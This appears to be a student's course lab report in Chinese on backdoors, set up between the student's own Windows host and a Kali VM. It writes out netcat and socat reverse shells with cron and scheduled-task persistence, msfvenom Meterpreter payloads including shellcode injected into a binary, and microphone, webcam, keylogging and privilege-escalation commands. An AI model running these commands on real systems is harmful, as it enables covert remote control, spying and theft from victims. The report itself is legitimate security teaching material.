實驗內容
本週學習內容:
本週學習了Shellcode技術,以及學習了一部分後門與免殺技術的相關知識,主要是一些後門的攻擊案例。
1.使用netcat獲取主機操作Shell,cron啟動
2.使用socat獲取主機操作Shell, 任務計劃啟動
3.使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell
4.使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權
5.使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell
實驗要求
掌握後門原理及免殺技術
回答問題
(1)例舉你能想到的一個後門進入到你係統中的可能方式?
下載軟體時候,一些惡意軟體被繫結了惡意的後門程式,它就進入我們系統了。
(2)例舉你知道的後門如何啟動起來(win及linux)的方式?
Linux中:
透過cron將後門設定為定時啟動,透過反彈式連線到客戶端,然後惡意控制啟動後門;
Windows中:
攻擊者將後門捆綁植入到各種正常的檔案、程式中,我們開啟這些檔案程式時,後門就被啟動了。
(3)Meterpreter有哪些給你映像深刻的功能?
做完實驗後,發現攻擊者能獲取我攝像頭、螢幕、音訊等資料,讓我印象十分深刻,這讓我明白了一定要重視網路安全。
(4)如何發現自己有系統有沒有被安裝後門?
及時使用防毒軟體進行掃描,同時也可以用工作管理員檢查可疑程序等。
實驗過程
一,使用netcat獲取主機操作Shell,cron啟動
(1)檢視主機的ip
在windows主機上下載ncat程式,連結為 https://gitee.com/wildlinux/NetSec/attach_files
開啟cmd,輸入ipconfig指令檢視主機的IP地址:
(由於在實驗室和在寢室的網不同,主機IP地址也發生了變化)
(2)使用netcat進行連線並獲取shell
虛擬機器登入root使用者(後續操作需要使用root許可權),主機cmd進入ncat所在目錄。
Win主機輸入指令:ncat.exe -l -p 8888(l表示listen,“監聽”;p表示port,指定埠,埠號可自行指定)
Linux虛機輸入指令:nc 192.168.3.55 8888 -e /bin/sh(nc即netcat,後面的引數是要連線的ip和port,-e是指定連線後執行的程式,本例中就是shell。)win主機輸入ls,若能夠正常顯示虛擬機器下檔名,證明主機已成功獲取虛擬機器shell。
(3)透過設定cron使得kali啟動定時任務
進入虛擬機器的root賬戶,輸入crontab -e (執行文字編輯器來設定時程表),選擇的是2:/usr/bin/vim.basic;
輸入後進入文字編輯器,輸入i進入插入模式,輸入指令30 * * * * /bin/netcat 192.168.3.55 8888 -e /bin/sh (輸入自己主機的IP地址,在每小時的第30分鐘啟動任務)
編輯好輸入:wq儲存並退出文字編輯器
輸入crontab -l檢視時程表:
同時在Linux主機中的/var/spool/cron/crontabs檔案中會出現一個root檔案。
現在回到Windows主機的cmd中進行操作,Win主機輸入指令:ncat.exe -l -p 8888,Linux虛機輸入指令:nc 192.168.3.55 8888 -e /bin/sh,還是一樣與Linux建立連線之後,輸入sudo su,切換到root模式,輸入:
echo "* * * * * echo "zbq20222414" > /home/kali/zbq20222414" > /var/spool/cron/crontabs/root
crontab -l (檢查時程表)
進入Linux虛擬機器進入對應路徑檢查20224312檔案,發現修改成功。
二,使用socat獲取主機操作Shell, 任務計劃啟動
Socat與netcat類似,但比起netcat,socat功能更多,比如如建立ssl連線。
windows主機:下載socat,cmd進入socat資料夾,輸入命令:
socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr(把cmd.exe繫結到埠8888,並把cmd.exe的stderr重定向到stdout)
Linux虛擬機器:進入root使用者,輸入命令:
socat - tcp:192.168.3.55:8888
回到主機,我們需要事先準備一個程式以供執行,程式碼如下
檔案路徑如下:
在Linux上啟用Windows的程式,透過命令列建立任務計劃,在shell裡輸入命令:
schtasks /create /sc minute /mo 1 /tn "20222414zbq" /tr E:\wangluogf\zbq.exe(每一分鐘執行一次我寫的這個程式:)
回到windows主機,開啟計算機管理,看到正在執行的任務名“20222414zbq”,說明實驗成功。
三,在Linux下使用MSF meterpreter生成可執行檔案,利用ncat或socat傳送到Windows主機並執行獲取主機shell
保證windows的實時保護處於關閉狀態,同時關閉防火牆進行實驗。
(1)生成後門檔案
首先在kali中輸入ifconfig,獲得虛擬機器的IP地址:
虛擬機器的IP地址是192.168.1.111
繼續中輸入以下命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=8888 -f exe > 2414backdoor.exe(使用msfvenom 工具生成一個反向 TCP Meterpreter shell 的 payload,並將其儲存到一個可執行檔案中。)
LHOST=192.168.1.111是shell 連線的主機 IP 地址,在本實驗中是虛擬機器的IP地址;
LPORT=8888是攻擊者的系統上監聽的埠號;
-f exe指定了生成的 payload 的格式,這裡是exe;
2414backdoor.exe即生成的惡意可執行檔案(名稱自擬)
(2)將後門檔案傳輸至目標主機
主機進入ncat所在目錄下,輸入指令:
ncat.exe -lv 8888 > "D:\2414backdoor.exe"(監聽8888視窗等待接收可執行檔案2414backdoor.exe,並將2414backdoor.exe檔案存放在D盤上)
虛擬機器上輸入指令:
nc 192.168.1.109 8888 < 2414backdoor.exe(將生成的後門檔案2414backdoor.exe傳給主機)Win主機接收到後門檔案2414backdoor.exe,成功找到檔案
(3)配置監聽模組
回到虛擬機器,在Kali終端輸入命令msfconsole,然後對監聽模組進行配置:
use exploit/multi/handler(使用監聽模組,設定payload)
set payload windows/meterpreter/reverse_tcp (使用和生成後門程式時相同的payload)
set LHOST 192.168.1.111 (攻擊機的IP地址,和生成後門程式時指定的IP相同)
set LPORT 8888(監聽的埠)
接著輸入exploit,使監聽模組開始執行,並在Windows終端執行後門2414backdoor.exe檔案
返回檢查虛擬機器,輸入ls檢視windows主機目錄,確認已經連線。
四,使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權
(1)獲取目標主機音訊、截圖、攝像頭、鍵盤記錄
在exploit模組中繼續輸入以下命令:
record_mic (音訊)
screenshot (截圖)
webcam_snap (拍照)
keyscan_start (開始讀取鍵盤記錄)
keyscan_dump (讀取鍵盤記錄結束)
音訊截圖和拍照被儲存在root文件中,鍵盤記錄的字串將直接顯示在命令欄上
(2)提權
確保windows的cmd指令是使用管理員身份執行的,繼續在exploit模組中繼續輸入:
getuid (檢視當前使用者)
getsystem (提權指令)
五,使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell
在kali命令列下輸入:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=6666 -x /mnt/hgfs/kalilujing/pwn1 -k -f elf -o 2414_pwn1
對生成的2414_pwn1檔案賦予許可權:
輸入指令msfconsole,重現監聽過程:
開啟另一個shell,執行生成的2414_pwn1檔案(需要使用root許可權)
回到第一個shell,輸入ls確認連線,成功實現遠端控制shell
問題及解決方案
問題1:在過程一中win主機輸入ls,若能夠正常顯示虛擬機器下檔名,證明主機已成功獲取虛擬機器shell,但此時沒有顯示。
解決方案:經過排查發現沒有進入root使用者,輸入sudo su以及密碼之後能夠正常顯示虛擬機器下檔名。
問題2:在過程三中MSF meterpreter生成後門檔案不被windows主機識別,報錯“此應用無法在你的電腦上執行”
解決方案:首先去查了文心一言,然後在後門檔案的屬性裡更改相容性設定:
但此時無論怎麼改相容性都無法執行。
最後發現要修改程式碼:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=8888 -f exe -a x86 --platform windows > 2414backdoor.exe。加入欄位“-a x86 --platform ”指x86的32位構架進行傳輸,修改過後可成功執行。
問題3:在過程三中MSF meterpreter生成後門檔案時報錯“另一個程式正在使用此檔案,程序無法訪問”
解決方案:報錯原因是開啟了多個cmd,把無關的cmd都關掉即可。
問題4:在過程五使用MSF生成shellcode時,在kali命令列下輸入:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=8888 -x /mnt/hgfs/kalilujing/pwn1 -f elf > 2414_pwn總是報錯“找不到 -x命令”
解決方案:更改程式碼,msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=6666 -x /mnt/hgfs/kalilujing/pwn1 -k -f elf -o 2414_pwn,更改後就不會再報錯。
問題5:在過程五使用MSF生成shellcode時,輸入指令msfconsole,重現監聽過程,此時應該是監聽虛擬機器,但沒有注意輸錯程式碼又監聽了一次主機
解決方案:將該步驟重新做了一次,得到了預期結果。
學習思考感悟等
透過這次網路攻防實驗,我深刻體會到了網路安全的重要性和複雜性。在做過程四時,透過輸入webcam_snap命令就可以控制攝像頭拍照,這讓我感覺到了網路攻擊的多樣性和隱蔽性,也增強了我的網路安全意識。雖然實驗是在關閉所有防火牆和防毒軟體之後完成的,但有可能一些攻擊者能突破防火牆和防毒軟體的防禦實現真正的攻擊,那時所有電腦上的個人隱私都將在攻擊下被別人一覽無餘,所以在日常使用電腦時也要增強自己的安全意識。
本次實驗中出現了不少因為一些程式碼或者命令出錯而無法得到正確結果的問題,比如加入欄位“-a x86 --platform ”後才能執行.exe程式,“-x命令無法執行”之類的問題,一開始並不知道該如何修改,透過詢問文心一言,學習借鑑其他部落格中的命令最終也成功解決了這些問題。在此過程中也提高了我解決問題的能力,擴充了相關知識。
同時我也認識到了在實驗過程中細緻認真的重要性,實驗中在配置和執行各種命令時,一個小的疏忽都可能導致整個實驗的失敗。比如在從實驗室到寢室更換了WiFi後,主機的IP也改變了,如果此時忘記檢視當前IP,使用原來的IP的話就會使後續實驗無法進行下去。